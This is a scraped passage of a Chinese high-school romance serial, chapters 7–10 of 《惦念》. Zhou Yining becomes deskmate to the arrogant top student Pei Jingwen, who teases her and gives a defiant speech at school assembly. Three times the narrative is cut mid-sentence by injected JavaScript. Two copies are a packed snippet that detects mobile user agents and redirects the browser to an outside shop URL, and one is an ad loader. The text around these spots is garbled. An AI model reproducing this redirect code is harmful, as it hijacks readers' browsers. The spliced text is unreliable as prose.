《惦念》 7. 喜欢 都说一场秋雨一场寒,半夜一场雨下到晨起,街道上的梧桐树叶簌簌飘落,温度迎来骤降。 周宜宁醒来时,外婆已经做好了早饭,是她最喜欢的糯米粥和灌汤包。 舅舅工作在外不常回家,秦绣母子又看不上外婆做的饭菜,饭桌上自然只剩她们祖孙俩。 正好,乐得清静。 “外婆,您的手艺越来越好了,”她给外婆盛了碗粥,笑吟吟说:“我馋这口好久了。” “喜欢就多吃点,”外婆满目慈祥,“不够还有呢。” 周宜宁乖乖点头:“嗯嗯。” 迫不及待一口咬下去,满满都是幸福的味道。 “宁宁,你在市里住的还习惯吗?” 见外婆一脸关切询问,周宜宁小口喝粥的动作微微停留。 自从月考那天因为她徐耀被狠狠落了面子后,她的确提心吊胆,生怕房东忽然恶狠狠让她滚。 她甚至都做好最坏的打算,收拾好行李准备报警要回剩下的房租,没想到房东确实把电话打过来。 只不过和她预想的不太一样。 不仅非常和蔼地告诉她安心住下,还替自家不省心的孙子保证,以后不会再欺负她。 虽然不知对方为什么态度这么好,但短期内她无法选择,于是只能接受对方的道歉。 周宜宁能做的,就是每天反锁房门,晚上睡觉时用桌子顶住门板,以防万一,她能在最快速度拨打求救电话。 以免外婆担心,这些弯弯绕绕自然不能让她知道。 “挺好的,徐奶奶很照顾我。” “那就好,那就好。” 见她笑意轻松,外婆刚松了口气,又忽然反应过来,连忙从口袋里摸出一张信封。 “外婆我还有零花钱——” 不等她把话说完,外婆不由分说把钱塞进她的书包。 “拿着市里不比咱们镇上,你也别只顾学习,得空了和同学出去,有想买的就买。” “别人有的,宁宁也要有。” 最后一句话,周宜宁鼻尖强忍的酸涩,还是化为眼眶的晶莹。 “都多大了还哭鼻子?”外婆连忙用袖子轻轻擦了擦她的泪痕,温笑着轻点她的鼻尖:“我们家宁宁要成小哭包咯。” “才没有。”周宜宁破涕为笑,满脸都是依恋:“在您面前,我永远都是小孩。” “那就听话,把钱收了。” — 最终,周宜宁还是没能拒绝。 吃完饭,她先陪外婆把废纸箱全部打包好,这才洗了澡收拾书包。 小雨没停,外面的青石街道有些滑,外婆腿脚不便,周宜宁坚持没让她送自己去车站。 走出家门口很长一段距离,余光还能看到外婆瘦小的身影,撑着伞目送她远去。 恍惚间,和她的一段记忆重叠。 小时候,她总难过自己被抛弃,羡慕而别人有父母的陪伴,哭得最凶的时候,她把自己藏起来,天真地以为大人们找不到她,就会让她的父母来找她。 然而那天她等到下暴雨,又淋雨又饿,整个人手脚冰凉蜷缩在角落,最终等来的,只有步履蹒跚的外婆。 等她回到舅舅家后,听着舅妈的嘲热讽,幼小的她才明白,除了外婆,这个世界上再不会有关心她的人了。 那天,她抱着外婆哭了很久,暗暗下定决心,再也不会为不爱她的人而犯傻。 不会再让外婆冒着雨满镇子去找她。 周宜宁收回思绪,最后再转身挥挥手,踏上回南临的路途。 她只有更努力,才能让外婆过上更好的生活。 又是一路颠簸,回到出租屋时,已经是下午三点多。 她给外婆发信息报平安后,找地方把装钱的信封藏好。 紧接着,她打开抽屉,指尖碰到那套物理卷子时,呼吸倏地慢了下来。 熟悉的不正经语调,似乎又在灼烧她的耳朵。 那天她纠结再三,还是去办公室找了赵临风。 对于学生主动钻研物理,老赵乐见其成,并对她的学习方法表示非常欣慰,答应一定给她找全。 隔天就把带有答案的卷子交给她,并再三叮咛有不会的,及时找他探讨。 半个月下来,她在老赵的帮助下,物理成绩可谓提高了不止一个档次。 但她仍没掉以轻心,照样秉承谦虚态度,认真对待每道题。 但如果不是裴京闻,她可能很长时间,都没有勇气去找老赵。 他就像夜空中的月亮,距离感十足,只能让人仰望。 她用力奔跑,可能连做围绕他身边的星星的资格都没有。 等她把字画悄悄送给他,和他可能就再没了其他交集。 最大的缘分,也就是当这一年的普通同学。 周宜宁轻轻呼出一口气,强迫自己把心思放在学习上。 不知不觉到了傍晚,对完答案,除了两道压轴题没考虑全面,其他的全部正确。 她止不住开心,第一时间把这个好消息给严可薇分享。 消息发送的下一秒,就收到严可薇的回复:[宁宁你太太太优秀了!] [呜呜我要是有你这么聪明且上进,就不会每天提心吊胆,生怕被赶出实验班。] 周宜宁莞尔:[在我心里,你也很棒呀~] 性格开朗,大方自信的严可薇,一直是她羡慕的样子。 闲聊了几句,周宜宁放下手机去浴室。 快速冲完澡后,见天色还没完全黑沉,来不及等头发完全干,只换了件薄款卫衣就匆匆出门。 外面的雨还没停,她撑着雨伞,避开路面的水洼,快速走到公交站,要乘坐三站路才能到最近的便利店。 挑选好需要的日用品,由于结账的人有些多,她拿出单词过关卡,所以没注意到门口几道高大的身影正从车上跳下来。 其中一个男生注意到周宜宁,眼前发亮,“我去,你看那美女,我感觉我要恋爱了。” 江从南瞬间来劲,“哪呢?” 许霖眼球都没转:“站门口那个。” 顺他的目光看过去,江从南难掩惊艳的同时,觉得有些眼熟。 沉思几秒,他忽然说:“裴哥,那不是坐你前面的三好学生么?” 江从南看了几秒,难掩惊艳,“我去,这妹妹的颜值,完全被校服封印了啊。” 平时不是没打过照面,但他还真没注意,这唯一能哄师太开心的妹妹长这么纯。 “没想到你们南临还有这么纯的,”许霖收回视线,表情写满激动,“江哥,听到我的心跳声了吗?不行,你快把联系方式给我。” “啪”一声,车门被关上。 裴京闻把手机揣兜里,眼皮懒懒掀着,看起来有些恹,不知是不是没睡好。 “裴哥你看周妹妹那范,简直乖得要死,”江从南啧啧称叹:“难怪师太见她都凶不起来。” 这搁谁,看了能心硬? 裴京闻没搭话。 少女站在玻璃门后,腿又直有细,被牛仔裤包裹着,柔顺的黑发披散在身后,只露出被白炽灯光包裹的脸。 又乖又纯。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12980333|136993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >让他移不开眼。 几人家里都有生意往来,也算从小到大的玩伴,听见江从南想把刚看上的妹妹推给别人,许霖不乐意了。 不过没等他抗议,裴京闻收回视线,掐灭烟头扔进垃圾桶,语调懒洋洋的:“这不行,换一个。” 刚要迈步的许霖,闻言愣了一下。 江从南眼尖,看出了点端倪,啧了声说:“就你这换女朋友比换衣服还快的速度,别祸害我们周妹妹了。” 许霖:? 不给他发问的机会,江从南直接把他拽上车。 同时,周宜宁付完钱从便利店出来,视线正撞上一道熟悉的身影。 男生肩宽腿长,穿着黑色冲锋衣,正倚靠车门盯着她。 对视的瞬间,周宜宁心跳不受控漏了半拍。 ……这还是第一次,她在校外正面撞上他。 要不要过去打招呼呢? 就算不能有别的奢望,但总归碰上了,转身就走似乎并不礼貌。 就在她纠结时,只听那人低笑出声,声音有些磁:“周同学,看见我这么紧张?” 周宜宁反应过来,小幅度摇摇头,“没有。” 少年松松散散站着,笑意不减,“不是要给我谢礼吗?” 周宜宁没明白他什么意思。 哪知男生忽然走近,以绝对身高优势站在她面前。 似是没想到他有所动作,周宜宁一惊,握住伞的手指抖了抖。 下一秒,有些冰凉的指尖擦着她的小拇指,稳稳握住伞骨。 似乎带有电流的滚烫,触碰的瞬间,周宜宁连忙抽回右手,唇角微微抿紧。 等回过神,手心都冒了一层灼热的汗。 以免克制不住异样,她避开那道存在感极强的视线,打破沉默,“那……你喜欢喝什么?” 问完她就有些懊恼。 对裴京闻来说,什么高端饮料没喝过,这些最便宜的酸奶怎么能入他眼呢? 就在她考虑怎么补救一下时,男生指了指塑料袋,挑眉:“我喜欢你——” 说到这,见女孩白皙的耳尖再次滚烫,杏眼瞪得圆润,他故意使坏:“常喝的。” 周宜宁:“……” 这人怎么这么不正经! 等她低头整理好眼神的慌乱,连忙把那瓶香芋酸奶递给他,留下一句“公交车来了,明天见”,从他的手里拿过伞匆匆离开。 真是不经逗。 空气中,似乎还有女孩衣服的茉莉清香,裴京闻莫名觉得喉咙有些干。 没几秒,他右手拧开酸奶瓶,仰头喝了几口。 雨幕下,男生的喉结滚了滚,那颗细小的痣跟随晃动,有种独属于少年人向男性过渡的性感。 味道有些淡。 多喝几口,倒有种令人沉迷的香醇。 “哟!”见他上了车,刚结束游戏的江从南故意打趣,“裴少什么时候这么接地气,连地摊货都能入您尊口了?” 裴京闻轻挑眉梢,仰后靠背,漫不经心问:“有意见?” 江从南挤到他面前,挤眉弄眼:“哪敢啊?” “我为了你,硬是给许霖那傻逼介绍了三个美女,才把他的注意力从周妹妹身上移开,你准备怎么感谢我?” 裴京闻半笑不笑,并未出声。 “操,你认真的?”江从南震惊了:“不是,你跟人姑娘接触过吗?” 准确来说,他就压根没见过这俩说话。 裴京闻眼尾上挑,手里把玩着酸奶瓶,表情带着点勾人的痞:“怎么?就不能是单相思?” 8. 同桌 隔天,周宜宁把字画和那件洗干净的校服分别装进袋子里,提早二十分钟去教室。 第一次“偷摸”送他礼物,饶是早就做好了心理建设,周宜宁的心跳仍快悬到嗓子眼。 刚到楼梯口,隐约听见有人在咒骂:“都怪姓裴那孙子,害老子在床上躺半个月才下床。” “还得是章哥出马,”狗腿立刻附和:“给他这些教训,就当孝敬您了!” 周宜宁脚步一顿。转过墙角,正撞见几个男生鬼鬼祟祟离开的背影。 其中有一个一瘸一拐的,看起来很眼熟。 来不及多想,周宜宁赶忙进教室,视线落在最后一排的靠窗位置。 桌椅被踹倒,书本全都洒在地面上。 周宜宁脚步一顿,捏紧书包带子。 怎么办?要不要先等老师来? 这个念头刚在大脑浮现,就被她否决。 裴京闻那么好面子的人,如果被同学看见,恐怕他会立刻去把罪魁祸首掐死。 瞬间,周宜宁打定主意。 她摘了书包,蹲下身把桌椅扶正,再仔细捡起所有撒在地上的学习用具。 按照印象中的模样,周宜宁把他的东西大致摆在原位。 刚松了口气,门外传来三两接近的脚步声。 连忙把东西放进他的桌兜,刚转身,视线正撞上后门口的身影。 他的额发似乎剪短了些,刚遮住眉梢,换了件崭新的秋季校服和白色板鞋,斜挎着单肩包,只站在那,就有种说不出的意气风发。 对视的短短几秒,周宜宁看似镇定,实际心脏如海浪般翻涌,甚至右脚还保持迈出的动作。 直到一声轻笑被呼吸送进耳朵里,她才找回失神的注意力。 生怕被他注意到自己的异样,周宜宁胡乱抓起书包,低垂脑袋回到座位。 直到拿出英语课本,那道灼.热的目光还停在她的脊背,似乎看穿一切。 好在老师今天提前到教室,对上那双冷冰冰的眼神,慌乱的心绪这才平静下来。 布置好早读任务,老师的死亡凝视直接选定裴京闻:“滚出来。” 刚月考完,大家本就有些担心英语分数,压根不敢好奇师太喊他出去做什么,只埋头缩在课本里,生怕自己被盯住骂个狗血淋头。 — 南中公布成绩的速度很快,早读下了,大家就知道各自的分数。 实验班绝大多数学生都能稳住名次,只有包括徐耀在内的三个人退出五十名外,要给进步的学生让位。 这个结果并不意外。 大家围在公示栏各自讨论分数和名次,有人眼尖看到第一列,没忍住感叹出声。 “我操,裴京闻总分第一,英语居然倒一??” 难怪众人震惊。 690的分数,虽然还是比第二名高,但跟他以前710往上完全没法比。 英语105的成绩,连班级单科均分都够不到。 “难怪师太让他滚出去,该不会以为他对英语有意见吧?” “应该不会,裴京闻考前参加CPhO了,英语考试差点迟到。” “师太肯定气疯,他肯定要被虐死。” 这些讨论声太大,成功将周宜宁的注意力吸引过去。 原本她还在分析物理试卷,听见这话,不由得向后面的座位看去。 只是裴京闻并不在。 顷刻,周宜宁忽然想起刚开考,徐耀还在踹自己凳子,写完C篇阅读的时候,后面突然没了动作。 如果没记错,裴京闻的位置在徐耀后面。 难道……是因为帮她,他英语才没发挥好? 想起英语老师早上的表情,她顿时有些着急。 正犹豫要去找英语老师解释,老赵踏着上课铃声进教室。 周宜宁只能放弃。 以至于头一次上课心不在焉。 好不容易挨到下课,她找了借口去英语办公室。 但老师并不在,第二个课间也是。 大课间自由活动,赵临风忽然把她叫过去,语重心长说:“宁宁,看到你这次考试进步很大,老师非常欣慰。” 周宜宁有些忐忑,拿不准他是什么态度,只能应声:“谢谢老师。” “是这样,老师有两件事要问问你的意见,”赵临风扶了扶眼镜,一脸和蔼:“一个呢,是咱们班原来的学习委员因为退步太大主动卸任,你之一直都是公认的三好学生,自律又上进,我相信你能胜任这个职位,做大家的榜样。” 老赵眼里的希冀太明显,何况这段时间一直在帮助她提高物理,周宜宁又不擅长拒绝别人,张了张口还是答应。 “老师,我尽力。” “放心,有问题老师们给你解决,”赵临风松了口气,目光更慈祥了,“这第二件事呢,是应你们英语老师的强烈要求,安排你和裴京闻坐同桌。” 周宜宁:……?? 她有些呆愣,一时没了反应。 赵临风还在循循善诱:“那小子就是混了点,你帮他英语,他帮你物理,不正好互补吗?” 其实看到成绩单的那一刻,别说林玫火大,他也两眼一黑。 这混小子,英语怎么全班垫底了?? 好在班里还有考了英语满分的周宜宁,林玫寻思半天,最终把原因归咎在同桌身上。 近墨者黑,江从南上英语课经常不听,连带裴京闻都越学越退步。 想明白这点,她强烈要求,找一个内敛安静、英语成绩好的女生给他当同桌。 符合条件的,只有周宜宁。 正好,两人现在分别担任学委和班长,强强联手,更能在班里发挥榜样作用。 “比起别人,老师更放心你对那混小子没有别的心思,”赵临风拍拍她的肩膀,眼神写满期待:“相信你一定能取得更大的进步!” 周宜宁:“……” 没等她出声,章校长的电话打过来。 赵临风眼皮一跳,直觉又不是什么好事。 摁了接听键,里面的怒吼差点把楼层掀翻:“你现在迅速联系裴京闻家长,让他们立刻来学校!” 留下这句毫不客气的话,干脆挂断。 见他脸色倏地难看起来,静默几秒,周宜宁似乎下定某种决心。 “老师,我有事要跟您说。” — 回到教室,同桌何沅跟严可薇都一脸好奇看向她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12980334|136993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >见她情绪有些低落,后者关心问:“宁宁,老赵叫你去做什么啊?这么晚才回来?” 周宜宁叹了口气,简单把前两件事复述了一遍。 “啊?这全南中一座难求的位置,老赵居然给你啦?”短暂的震惊后,严可薇挽住她的胳膊:“刚好啦,裴神理科超牛,说不定还能沾沾大神之光。” 何沅满脸不舍,“呜呜呜赵哥没有心,他把你换走,我英语课可怎么活?” 毕竟江从南是被官方认证的英语bug,没了周宜宁,没几天她俩就都被活吞了。 周宜宁不禁一笑,“没事的,你们有问题随时可以问我。” 两人只能认命,刚帮周宜宁把东西收拾好,江从南几个就勾肩搭背地进教室。 猝不及防撞进那双深邃的黑眸,周宜宁顿觉呼吸乱了节奏。 慌忙低头避开时,她又忍不住懊恼。 怎么每次看向他,自己都手忙脚乱,把那点微不足道的心思表得那么明显。 明明这次,她确实有满腹疑惑要问他。想到这点,她又保持镇定,重新望过去。 只是裴京闻已经移开目光,神色漫不经心,朝座位走过去。 知道要换位置,尤其知道换位置的对象,短暂的意外后,江从南瞬间明白是谁的手笔。 “啧,裴少这行动力还真让人大开眼界,”他白了眼气定神闲的那位爷,话里带刺,“得,怪我挡您路了。” 裴京闻连眼神都懒得给他:“知道就滚。” 江从南:“……” 这还是周宜宁第一次主动离他这么近,只能克制住心底那点窘迫,小心翼翼拉开椅子。 淡淡的薰衣草清香,混合窗外潮湿的泥土和树叶味,交织缠绕在她的鼻尖。 直到预备铃声响起,她才猛然回过神,想起心里挂念的疑问,趁语文老师说自由背诵,她纠结再三,还是在纸条写下几个字。 不到一分钟,桌面上的纸条多了几个字:[这么担心我?] [小同桌?] 故意带了些连笔的字迹,尤其是最后三个字,跟他那人一样混不吝。 “……” 周宜宁瞬间不想看他。 察觉到女孩被发丝掩藏的耳尖泛红,他轻笑一声,莫名有些缱绻。 裴京闻比她高太多,即使坐在椅子上,清冽的气息能轻而易举包裹住她。 她有些不自在往过道挪了挪,强迫自己保持冷静,认真听老师讲解阅读。 窗外雨声连绵不绝,女孩低头记笔记的时候,几缕发丝从耳廓飘落。 触碰到他的胳膊。 连带心口都有些发痒。 裴京闻的眼底不由黯了黯,他闭了闭眼,拿出笔开始做题。 很快到了下课,周宜宁记挂着章校长和林玫的训斥,趁他还没离开座位,一脸认真。 “裴京闻。” 男生倚靠着墙壁,声线散漫:“嗯?有事?” 她斟酌着语言,“章其的事情——” 刚开了话头,裴京闻就明白她的疑惑。 “放心,他就又多躺一个月,”他扯了扯唇,眼底不复以往的散漫,难掩戾气和桀骜:“爷写得了发言稿,就能念得了检讨书。” 9. 使坏 南中惯例,每次考完试都要趁升旗仪式结束后做总结。 雨后的操场,阳光正好,所有人都穿好校服,提前在各自班里站定位置。 “同学们,紧随月考的是期中考试,希望大家戒骄戒躁,认真投入到紧张的高三复习中来……” 教导主任在主席台讲得唾沫横飞,回声响彻云霄,底下的学生怨声载道,抱怨他废话太多浪费自己时间。 严可薇和周宜宁站在一排,她悄悄拽了拽好友的袖子,凑过去小声说:“宁宁,一会儿把你英语卷子借我用一下。” 周宜宁先打量了老赵一眼,见他没往后看,才稍微压低脑袋,“不可以,你自己写,有不会的问我。” 严可薇不放弃,恳求道:“求你啦,我保证是最后一次。” 昨晚追小说太晚,唯独漏了英语卷子只能打破原则了。 想起英语老师惩罚人的手段,她最终还是没忍心拒绝。 “以后我督促你写作业。” “好,”严可薇按耐激动点头:“谢谢宁宝!” “下面,大家掌声有请章俞校长发言!” 教导主任前脚刚一脸严肃发言完,转身堆满笑,弯腰把话筒递给章校长:“您请。” “噗哈哈哈……”大家私底下都在调侃章校长长得跟他名字一样,每次集会提起全名,总是憋不住狂笑。 就连沉浸背书的周宜宁,听见这独特的名字,都没克制住弯了弯唇。 不得不说,章校长心理素质还是很强大,面对铺天盖地的嘲笑,他能面不改色站在那,“关于学习我不再赘述,今天我要说的是另外一件事!” 上周裴京闻卸了章其一条胳膊被学校领导抓住喊家长的事几乎传遍整个年级,不用猜都知道他今天要为章太子出气。 很明显,跟章其有过节的,比跟裴京闻有过节的人多得多。 听见章校长铺垫一堆,把章其描述得多么无辜多么弱小,瞬间一片唏嘘,有胆大的,还朝人群中吊着胳膊的章其竖中指吹口哨。 章其那张黑脸瞬间憋得通红,几个小弟想起章校长的叮嘱,以免他人菜瘾大,再冲上去废掉另一只胳膊,连忙拖拽着劝他冷静。 “……下面,由实验班裴京闻给大家念检讨,并做保证。” 章校长几乎是咬着牙喊出裴京闻的名字。 不为别的,他本以为动动手指就能把这个刺头解决,但没想到裴家背后势力那么大,把他打架斗殴这事轻易摆平。 这口气,他不想咽也得咽。 没等人站在主席台上,底下大多数人都爆发出掌声。 除了无条件喜欢裴京闻的那些女生,还有绝大多数看不惯章其的男生。 周宜宁握住单词卡的指尖僵住,视线不受控投向主席台。 这事儿比废话连天的鸡汤好听,众人瞬间来劲,都很好奇裴京闻会怎么反应。 顶着大家的热切期待,少年站在演讲桌前,原本沸腾的场下神奇般安静下来。 他个子极高,普通的宽松版校服都能衬得他肩宽腿长,阳光洒落,在他出众的面部轮廓镀了层微光,让人移不开眼。 “大家好,我是实验班裴京闻。” 少年清润的嗓音,在话筒的扩散下,带了些微弱的电流,传进耳畔酥酥麻麻的:“经过反思,我认为动手违反学生规范,希望大家不要轻易尝试。” 难得见他低头,章校长的脸色才好看了些。 算这小子识相,没再触碰他的底线。 哪知听到下一句,唇角得意的弧度霎时僵硬。 “不过下次,他再敢仗势欺人,踏进实验班一步——” 察觉到老赵气到发黑、恨不得冲上去捂住他的嘴的表情,裴京闻话锋一转,笑意满是桀骜:“我一定让他想告状连爹都找不到。” “裴哥牛逼!”江从南知道前因后果,带头鼓掌:“就该打得那傻逼亲爹不认!” 程泽扬紧跟其后,“裴哥下次别只顾自己爽啊,带上兄弟们!” 实验班其他玩得好的兄弟,大多都向章其投去鄙视的眼神。 什么玩意儿,都多大了还动不动告状? “章校长您别动怒!”教导主任连忙拉住气得胸口起伏的章俞,“想想咱们的实验楼,那可是校长五年内都攒不出的业绩啊!” 毕竟三千多万,南中这么多届学生,就没见出手如此阔绰的。 等章校长平静下来,他连忙说了句:“请大家引以为戒,下面,请本次年级第一做学法分享。” 裴京闻仍旧没拿稿子,他嗓音清冽,目视前方: “最后,不浪费大家时间。” 轻风袭来,掀起少年额前的黑发,眉宇尽显少年应有的意气风发。 “想要成绩,就要付出比别人更多的努力,”他手握话筒,眸色坚定,“通过白天补觉晚上刷题是本末倒置的方法,劝大家珍惜课堂,尊重时间。” 提起学习方法,众人难得安静下来,集中注意力去听。 “想一千次,不如去做一次,”他难得收敛浑身的轻狂,只站那就正气凌然:“最后,学习很苦,适当放松,愿你们前程似锦,得偿所愿!” 隔着人潮,周宜宁不知何时被他吸引,定定看着他。似乎感知到她的注视,少年下台前,隔空朝她轻轻勾唇。 她心尖一跳,连忙收回视线。 场下再次爆发掌声,有人甚至发出尖锐的喊叫以示回应。 燥热的气氛,久久未消散。 — 下节课是英语,刚解散,想起卷子还没写完,严可薇连忙拉着周宜宁飞一般冲回教室。 显然,没写完的不止她一个。 周宜宁刚坐定,谢意泽隔了条过道,试探性问:“打扰了,你能帮我看看这道完型题吗?” 这还是第一次有男生问她英语题。 愣了几秒,周宜宁点点头,“好。” 因为卷子给了严可薇,她只能走过去拿着谢意泽的卷子。 字如其人,男生的笔迹字柔中带刚,15道题有14个空都正确。 沉思片刻,她圈出题目中的关键词,柔声解释:“这里有点问题。” “周同学你好厉害啊,我现在总算知道林老师对你暂不绝口了,”谢意泽轻笑出声,微微俯身,“你能给我展开讲讲吗?” 对上那双赤忱的眸色,周宜宁拿起笔,不着痕迹侧了侧身。 她有些不习惯跟异性靠这么近。 刚晒过太阳的缘故,女孩白皙的双颊有些红,几缕发丝垂在耳畔,显得整个人宁静美好,乖得要紧。 整个过程,她丝毫没发现门口站着几个人高大的人影。 眼见裴京闻眸色幽黯,江从南幸灾乐祸搭在他的肩膀:“看来宁妹的魅力不小啊,二少不去看看情况?” 那天裴京闻半开玩笑说出“单相思”,短暂的震惊后,他其实就没放在心上。 毕竟裴少从小到大,魅力就没失过手,根据他对这位爷的了解,估计最近难得遇上一个不主动扑的,所以起了短暂的兴趣。 说白了就是渣。 但这种认知,很快被后来的换座位改变。 他没想到这哥已经无耻到故意英语控分,让师太给老赵提“同学互助”。 甚至转移怒火,让师太以为裴京闻没学好是他打扰的,把他喊出去骂了一顿! 真狗! 宁妹最好狠狠无视这狗东西! 在心里吐槽完,江从南一脸看好戏摸了摸下巴,又看了眼裴京闻的脸色。 啧啧。 这小子危矣。 裴京 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 闻只淡淡扫他一眼:“滚。” “快看快看,宁妹对人笑了,”江从南并不在意他的不耐烦,看热闹不嫌事大:“看来我裴裴这竞争对手魅力不小啊。” 裴京闻:“……” 这傻逼真他妈烦。 可惜没等江从南看他怎么发作,预备铃响,以免又成为师太眼中钉,他当即飞奔回座位。 周宜宁刚坐直身子,熟悉的嗓音在她耳畔响起:“同桌,帮我看看这道题呗?” 滚烫的热气洒在她的耳尖,呼吸不禁轻颤。 自从知道他没考好英语是因为去京北参加物竞赛,作息没调整好,并不是被她拖累,周宜宁内心的负罪感小了些。 这几天和他坐同桌,也不再像之前那样坐立不安。 不过对上那双意味不明的视线,她没来由的有些紧张。 ……真奇怪,她又没做什么对不起他的事情,干嘛要心虚啊。 趁林玫还没进教室,她尽量表情自然:“哪道?” 他像是故意使坏,声线压低,带着点哑:“你不抬头,我怎么给你说啊?” 距离太近,避免自己放纵心底的那点不该有的心思,她已经逐渐找到方法,来面对他混不吝时产生的羞赧。 那就是少跟那双深邃的眼眸对视,少被他的话绕进去。 不等他在再说什么不正经的话,直接拿起笔,给他的完形填空核对答案。 打完对错号,干脆利落把卷子放回去。 全程,都没多看他一眼。 裴京闻:“……” 还挺硬气。 等林玫从教室门口走近,他低声说了句:“我同桌真厉害。” 察觉到身旁的呼吸放慢了些,那姑娘还往过道挤了挤,时不时抬头去看林玫的动静,唇角的弧度不禁上扬了些。 胆子真小。 — 熬过英语课,时间变得飞快。 最后一节课间,何沅从洗手间回来,忍不住和严可薇八卦:“我去,我刚才路过三班门口,居然看见梁星月跟一个男生在楼梯口当众接吻!简直不把韩主任放眼里啊!” 整个年级都知道,梁星月之前在实验班门口撂狠话“非裴京闻不追”,忽然这么高调换对象,不惊讶才怪。 “和谁呀,和谁呀?”一听有瓜,严可薇瞬间来劲,“她不是一直追裴帅哥吗?什么时候换对象了?” 坐在后面的周宜宁,正计算数学题的笔尖顿住,注意力不受控转过去。 “就他们班的体育生,高高瘦瘦那个,”何沅坐过去,比划着感叹:“你是没看见,他们那个最萌身高差好戳我呜呜呜。” “有多高?”严可薇是忠实的身高控,她的注意力很快被“高瘦”两个字吸引,不知不觉歪话题:“一米八?” “我觉得起码往上吧?”何沅想了想,不太确定:“可能一八五?” “那还不如裴神高,”严可薇灵光一闪,好奇问周宜宁,“宁宁,你知道裴帅哥具体身高吗?” “……” 猝不及防被问到,她一时间有些懵。 印象里,裴京闻一直是比她能高一头多,应该不低于185? 何沅对帅哥的身高也没抵抗力,她试探性问:“要不,你帮我们问问?” 这话题应该……不算过分吧? 周宜宁纠结几秒,硬着头皮答应。 恰好此时,对话的主人公身姿挺括,背着光从后门走进。 对上两双满含期待的视线,她深吸一口气出声:“裴京闻,你能不能给我报一下——” 说到最后,“身高”两个字声音实在太小。 就在她鼓起勇气准备再问一遍,耳根被一道炽热的呼吸包裹。 少年故意逼近,语调又低又坏,“嗯?怎么抱?” 10.躲避 直到中午放学,周宜宁都没从刚才的呼吸交缠中回缓过神。 去餐厅的路上,严可薇纠结着,最后是在憋不住问:“宁宁,你和裴帅哥什么关系啊?” 这个问题,周宜宁一时间不知该怎么回答,脑畔又浮现了刚才那一幕。 教室里人有些多,男生的掌心撑着桌面,俯身拉进和她的间隔。 他的语调暧昧不清,勾着点让人沉迷的坏,铺天盖地席卷她所有的感知,让她失去思考问题的能力。 还是预备铃响起,周围此起彼伏的起哄声才堪堪被压住。 整整一节课,她都挺直腰背薇薇侧身,不敢和他有过多的接触。 秋日的冷风袭来,几缕碎发被吹乱,摩挲她的耳根,感受到细微的痒,她乱成浆糊的理智才堪堪清醒。 “……普通同桌而已,”周宜宁摇摇头,压下心底不该有的念头,似乎为了说服自己,她又强调一遍:“真的。” 严可薇挠挠脑袋,她小心翼翼晃了晃食指,确认没人注意到她们,才说,“以我的第六感告诉我,他看你的眼神肯定不清白!” 谁家好男生跟女同桌说话时,贴脸开大用美色勾人,还故意用那双看狗都深情的眼神含笑对视啊! 语调还那么勾人! “……不会的,”周宜宁愣住,矢口否认,“因为我说的话有歧义,他没听清,所以耐心又问了我一遍。” “裴少是那种会耐心听女孩讲话的人吗?!每次找他表白的姑娘,他开心了多扯几句,没兴致就直接一句话敷衍过去!”严可薇挽住她的胳膊,笑吟吟开口:“宁宁,我觉得大佬肯定对你有点意思!” “嘎吱”,很轻的树枝断裂声。 周宜宁的步子一顿,唇角微动,不知该怎么接话。 “我们宁宁有颜又有才,算他裴京闻有眼光,”严可薇朝她眨眨眼,“你们要真成了,记得主位给我留一桌。” 周宜宁:“……” 双手后知后觉捂住发烫的脸颊,耳尖刚散去的燥热再次席卷:“怎么可能啊。” 以免自己胡思乱想,她连忙找了个话题,总算把严可薇的注意力吸引过去。 只是内心不为人知的角落,仍旧萌发出一个让她想都不敢想的念头,当晚心绪混乱,怎么也睡不着。 不知什么时候,他们的关系,好像确实已经超脱普通同学的正常交往。 可这个念头刚冒出,就被她强压下去。 他是从京北来的天之骄子,她这样普通到尘埃里的人 ,怎么可能真入他的眼呢? 何况那人,本就混到骨子里。 周宜宁,你到底在奢望些什么啊? — 往后的日子,在越来越高压的复习节奏下,她都有意思避开裴京闻。 在他每次课间回来,总是错开对视,甚至有时为了不在下课时和他撞上,在谢意泽请教她问题时,主动靠过去讨论。 这样刻意保持距离,就连粗神经的江从南都感觉到了。 少爷的脸一天比一天黑,接连好几次在球场打得太狠,气得对方竖中指的同时,还破口大骂,每次的结果都是对方被揍得跪地求饶。 不过少爷惹是生非不知悔改,裴总一怒之下停了卡,扬言再动一次手就滚出家门。 作为裴京闻最好的兄弟,江从南自然不忍心看他流落街头。 于是,经过他一连几天的不懈观察,总算看出点端倪。 “裴,是不是觉得自己的魅力最近无处施展了?”见裴京闻懒懒倚着烂杆,指尖在屏幕飞舞,他贱兮兮凑过去,“要不兄弟给你支个招?” 裴京闻挑眉,那意思分明是最好别说什么废话。 “你喜欢人姑娘,也没见你刷刷存在感,”江从南勾唇一笑,自顾自搭上他的肩膀:“不如兄弟给你策划一场告白现场,保证让宁妹非你不嫁。” “……” 裴京闻简直服了这傻逼,额头的青筋开始突突跳动。 “没话说就给老子滚。” 江从南:“……” 眼见屏幕显示“游戏失败”,裴京闻的脸色肉眼可见又黑了些,程泽扬给他一脚,“闭嘴吧你,狗嘴里吐不出象牙。” 江从南不服:“老子谈这么多女朋友,哪次不是用这办法成功的?” 